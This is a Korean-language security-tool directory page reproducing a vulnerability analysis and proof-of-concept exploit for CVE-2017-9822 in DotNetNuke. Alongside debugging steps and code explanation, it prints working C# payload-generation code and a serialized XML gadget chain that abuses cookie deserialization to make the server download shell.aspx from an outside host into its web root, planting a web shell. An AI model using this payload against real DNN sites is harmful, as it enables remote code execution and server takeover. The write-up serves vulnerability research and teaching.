Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-9822 — CVE-2017-9822에 대한 상세 분석 및 개념 증명 익스플로잇. DotNetNuke CMS의 XXE/안전하지 않은 역직렬화 취약점으로, 쿠키 조작을 통해 원격 코드 실행으로 이어집니다. | Kitploit
도구/GitHubGitHub/tranphuc2005/cve-2017-9822
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

CVE-2017-9822에 대한 상세 분석 및 개념 증명 익스플로잇. DotNetNuke CMS의 XXE/안전하지 않은 역직렬화 취약점으로, 쿠키 조작을 통해 원격 코드 실행으로 이어집니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-9822

DotNetNuke (일반적으로 DNN으로 약칭)은 마이크로소프트의 ASP.NET 기술을 기반으로 하는 CMS(Content Management System) 플랫폼이자 웹 애플리케이션 프레임워크입니다.

주요 정보

  • 영향을 받는 제품: DotNetNuke (DNN Platform) – 널리 사용되는 .NET CMS/포털.
  • 공개 날짜: 2017년 7월.
  • 심각도: Critical (CVSS ~9.8).
  • 취약점 유형: XML External Entity (XXE) / 안전하지 않은 역직렬화 → 원격 코드 실행 (RCE).
  • 영향: 버전 9.1.1 이전에서 쿠키를 통한 원격 코드 실행 가능

설치 가이드

여기서는 Windows 10을 사용하여 프로그램을 설정하고 디버그합니다. 설치한 버전은 9.1.0이며, 설치 방법은 여기를 참조하세요. 완료 후 결과는 다음과 같습니다:

1

분석

1

  • 제가 읽은 보고서에 따르면, 이 취약점은 DotNetNuke의 쿠키 처리 위치에 있습니다.
  • DNN은 DNNPersonalization 쿠키에 대해 안전하지 않은 역직렬화(unsafe deserialization) 방법을 사용합니다.

1

디버그

여기서는 dnSpy를 사용합니다. dnSpy는 .NET (C#, VB.NET, F#...) 애플리케이션을 위한 디컴파일러(역컴파일러) 및 디버거 도구입니다. 이를 사용하면 .NET으로 작성된 .dll 또는 .exe와 같은 컴파일된 파일에서 소스 코드를 보고, 분석하고, 편집할 수 있습니다. 여기에서 설치할 수 있습니다. 디버깅을 위해 두 가지 버전을 다운로드해야 합니다.

1

먼저 32비트 버전으로 DotNetNuke.dll을 열고 **Edit Assembly Attributes (C#)**을 선택합니다.

1

그런 다음 다음 줄을

root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]

다음으로 변경합니다.

root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

그런 다음 저장합니다.

64비트 버전을 관리자 권한으로 열고 Attach to Process를 선택합니다.

1

다음으로 w3wp.exe를 선택합니다.

1

w3wp.exe를 선택하는 이유는 다음과 같습니다:

  • w3wp.exe = IIS 작업자 프로세스.
  • IIS의 응용 프로그램 풀 실행 프로세스입니다.
  • HTTP 요청이 웹사이트로 전송되면 IIS는 해당 요청을 처리하기 위해 w3wp.exe를 생성하거나 재사용합니다 (ASP.NET 코드 실행, 모듈, 미들웨어, 데이터베이스 연결 처리 등).
  • 각 응용 프로그램 풀은 구성(웹 가든, 재활용)에 따라 하나 이상의 w3wp.exe 프로세스를 가질 수 있습니다.

다음으로 Debug -> Window -> Modules를 선택합니다.

1

완료되면 Modules가 나타납니다. 아무 모듈이나 마우스 오른쪽 버튼으로 클릭하고 Open All Modules을 선택합니다.

1

그리고 마지막으로 DNN 관련 모든 어셈블리가 표시됩니다.

1

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)로 이동합니다.

1

이 함수는 DNN 포털에서 사용자 프로필 데이터를 로드하는 데 사용됩니다.

  • 로그인한 사용자인 경우 → 데이터베이스 + 캐시에서 프로필을 가져옵니다.
  • 익명 사용자(로그인하지 않음)인 경우 → **쿠키 DNNPersonalization**에서 프로필을 가져옵니다.

여기서는 DNNPersonalization에 초점을 맞춰야 합니다.

  • userId가 유효하지 않은 경우 (익명 사용자).
  • 요청에 DNNPersonalization 쿠키가 있는지 확인합니다.
  • 있으면 → 이 쿠키에서 XML 값을 가져옵니다.

웹사이트에 404 요청을 보내고 임의의 DNNPersonalization을 사용한 후, dnSpy를 사용하여 DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)에 중단점을 설정하면 디버그할 수 있습니다.

1

1

Call Stack 부분에서는 PortalSettings 클래스 분석에 집중하겠습니다.

1

주목할 점은 여기서 if 조건을 사용하여 현재 요청이 이미 IsAuthenticated인지 확인한다는 것입니다.

그리고 우리가 보낸 요청은 404 -> unauthenticated입니다.

계속해서 Call Stack 부분에서 Handle404OrException에 집중합니다.

1

여기서는 현재 요청의 context.User가 null인지 확인하고, 그렇다면 context.User를 현재 스레드 사용자로 설정합니다.

1

1

Handle404OrException에서 IsAuthenticated 변수가 이제 true 값이고, 사용자는 IIS 서버의 사용자이므로 요청이 인증된 사용자로 실행됩니다.

문제의 원인은 다음 코드 조각에 있습니다.

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • context.User가 없으면 → Thread.CurrentPrincipal(현재 스레드의 ID)을 할당합니다.
  • 이렇게 하면 후속 처리 시 요청에 사용자/역할 정보가 포함됩니다.

=> DNNPersonalization 변수로 쿠키에 어떤 내용이든 전달하면 일반 사용자처럼 처리됩니다.

다음으로 쿠키 처리 방식을 살펴봅니다.

여전히 DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)에 있습니다.

text 변수가 쿠키 값에서 값을 가져온 다음 Globals.DeserializeHashTableXml()의 입력으로 전달되는 것을 볼 수 있습니다.

1

Globals.DeserializeHashTableXml()로 들어갑니다.

1

DeserializeHashTableXml 함수의 역할:

  • XML 문자열(Source)을 입력으로 받습니다.
  • 해당 XML 문자열을 구문 분석하여 Hashtable 객체로 변환합니다.
  • 구문 분석 과정에서 "profile" 매개변수를 사용하여 XML 루트 노드를 지정하는 XmlUtils.DeSerializeHashtable 함수를 호출합니다.

XmlUtils.DeSerializeHashtable 내부로 들어가면 처리 방식을 확인할 수 있습니다.

1

DeSerializeHashtable 함수는 XML 문자열을 입력받아 Hashtable로 변환합니다. 각 <item> 노드에 대해 함수는:

  • key를 키로 가져옵니다.
  • type을 가져온 다음 Type.GetType(type)을 호출하여 데이터 형식을 결정합니다.
  • **XmlSerializer.Deserialize**를 사용하여 XML 내용을 실제 객체로 변환합니다.
  • Hashtable에 추가합니다.

👉 문제: type과 XML 내용이 완전히 사용자에 의해 제어되기 때문입니다 (DNNPersonalization 쿠키에서).

페이로드 생성

XmlUtils#DeSerializeHashtable이 취약점 위치임을 기반으로 객체를 직렬화 및 역직렬화하는 유사한 프로그램을 생성합니다:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}

xml 파일은 다음과 같습니다:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

이제 RCE로 넘어갑니다.

Deserialize를 수행할 때 코드를 실행할 수 있는 객체를 찾아야 합니다.

여기서 FileSystemUtils PullFile 메서드를 찾았습니다.

1

설명:

  • PullFile(string URL, string FilePath) — FileSystemUtils의 정적 메서드로, URL에서 내용을 다운로드하여 시스템의 FilePath 경로에 저장하는 데 사용됩니다.
  • 내부적으로 WebClient.DownloadFile(URL, FilePath)를 사용합니다 — 파일 다운로드 및 쓰기 동작입니다.
  • catch는 오류를 기록하고 메시지를 반환할 뿐, 다시 throw하지 않습니다.

하지만 문제는: _XmlSerializer_는 클래스 메서드를 직렬화할 수 없으며 public 필드와 속성만 직렬화합니다. FileSystemUtils 클래스의 public 필드와 속성 중에는 PullFile 메서드를 호출할 수 있는 것이 없습니다.

이제 ObjectDataProvider 클래스를 살펴보겠습니다.

  • ObjectDataProvider는 WPF의 클래스입니다 (네임스페이스 System.Windows.Data, 모듈 PresentationFramework.dll).
  • 런타임에 메서드를 호출할 수 있습니다 — 데이터를 저장할 뿐만 아니라, 래핑된 객체에서 임의의 메서드를 호출하여 _동작(부작용)을 수행_할 수 있습니다.
  • 매개변수 전달 허용 — 공격자가 메서드에 전달되는 매개변수를 제어할 수 있습니다 (예: PullFile 메서드의 URL 및 파일 경로).
  • ObjectDataProvider 자체는 인터프리터처럼 '코드를 실행'하지 않지만, 래핑된 객체에서 public 메서드를 호출할 수 있습니다. 따라서 위험한 부작용이 있는 public 메서드(예: 파일 다운로드, 프로세스 실행, 파일 쓰기)가 존재하면 체인이 실행될 수 있습니다.

1

여기서는 DataSourceProvider의 Refresh()를 호출합니다.

1

계속해서 BeginQuery()로 이동하며, _ObjectDataProvider_가 _DataSourceProvider_를 상속받고 _ObjectDataProvider_의 _BbeginQuery()_로 이동합니다.

1

계속해서 QueryWorker로 이동합니다.

1

그러면 InvokeMethodOnInstance가 호출됩니다.

1

InvokeMethodOnInstance는 실제 호출(invoke) 메서드입니다. 리플렉션을 사용하여 ObjectDataProvider가 '래핑'하고 있는 객체(또는 정적 메서드의 경우 해당 유형)에서 지정된 메서드(MethodName)를 호출하고, MethodParameters 목록을 전달한 후 메서드의 반환 값을 반환합니다.

스크립트 작성을 위해 JetBrains Rider IDE를 사용하며, DotNetNuke.dll 및 PresentationFramework.dll 모듈을 참조해야 합니다.

1

다음과 같은 실행 가능한 페이로드가 있습니다.

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

다음과 같은 xml 파일이 생성됩니다:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

페이로드 삽입 수행

1

1

1

이제 익스플로잇을 실행합니다.

1

또한 ysoserial.NET 도구를 사용하여 페이로드를 생성할 수 있습니다.

1

1

또한 FileSystemUtils 클래스의 WriteFile에서 파일 읽기 부분을 추가로 익스플로잇할 수 있습니다.

1

1

도구 다운로드